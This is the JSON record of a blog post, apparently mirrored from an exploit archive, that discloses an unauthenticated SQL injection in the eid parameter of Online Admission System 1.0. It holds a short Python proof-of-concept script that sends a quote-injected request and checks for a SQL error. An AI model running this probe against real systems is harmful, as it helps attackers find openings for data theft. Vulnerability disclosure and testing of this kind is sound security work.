{"id":28988,"date":"2022-08-05T20:29:37","date_gmt":"2022-08-05T16:29:37","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167975\/onlineadmissionsystem10-sql.txt"},"modified":"2022-08-24T09:53:48","modified_gmt":"2022-08-24T05:23:48","slug":"online-admission-system-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/online-admission-system-1-0-sql-injection\/","title":{"rendered":"Online Admission System 1.0 SQL Injection"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: online-admission-system 1.0 &#8211; unauthenticated SQL Injection<br \/>\n# Date: 5-08-2022<br \/>\n# Exploit Author: syad<br \/>\n# Vendor Homepage: https:\/\/www.sourcecodester.com<br \/>\n# Software Link: https:\/\/www.sourcecodester.com\/php\/15514\/online-admission-system-php-and-mysql.html<br \/>\n# Version: 1.0<br \/>\n# Tested on: Windows 10 + XAMPP 3.2.4<br \/>\n# CVE ID : N\/A<\/p>\n<p dir=\"ltr\"># Description<br \/>\n# The eid parameter does not perform input validation on the edit.php file it allow unauthenticated SQL Injection<\/p>\n<p dir=\"ltr\">import requests<br \/>\nimport sys<\/p>\n<p dir=\"ltr\">proxies = {&#8220;https&#8221;: &#8220;https:\/\/127.0.0.1:8080&#8221;, &#8220;http&#8221;: &#8220;http:\/\/127.0.0.1:8080&#8221;}<\/p>\n<p dir=\"ltr\">def send_request(ip):<br \/>\nx = &#8220;http:\/\/%s\/Student-Admission_0\/Student-Admission\/?a=edit&amp;eid=8&#8242;&#8221; %ip<br \/>\nz = requests.get(x,proxies=proxies)<br \/>\nif &#8220;You have an error in your SQL syntax&#8221; in z.text:<br \/>\nprint(&#8220;[+] Found Sql Injection&#8221;)<\/p>\n<p dir=\"ltr\">if __name__ == &#8220;__main__&#8221;:<br \/>\ntry:<br \/>\nip = sys.argv[1].strip()<\/p>\n<p dir=\"ltr\">except IndexError:<br \/>\nprint(&#8220;[-] Usage %s &lt;ip&gt;&#8221; % sys.argv[0])<br \/>\nprint(&#8220;[-] Example: %s 192.168.1.x&#8221; % sys.argv[0])<br \/>\nsys.exit(-1)<\/p>\n<p dir=\"ltr\">send_request(ip)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: online-admission-system 1.0 &#8211; unauthenticated SQL Injection # Date: 5-08-2022 # Exploit Author: syad # Vendor Homepage: https:\/\/www.sourcecodester.com # Software Link: https:\/\/www.sourcecodester.com\/php\/15514\/online-admission-system-php-and-mysql.html # Version: 1.0 # Tested on: Windows 10 + XAMPP 3.2.4 # CVE ID : N\/A # Description # The eid parameter does not perform input validation on the edit.php file &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-28988","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28988","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=28988"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28988\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=28988"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=28988"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=28988"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}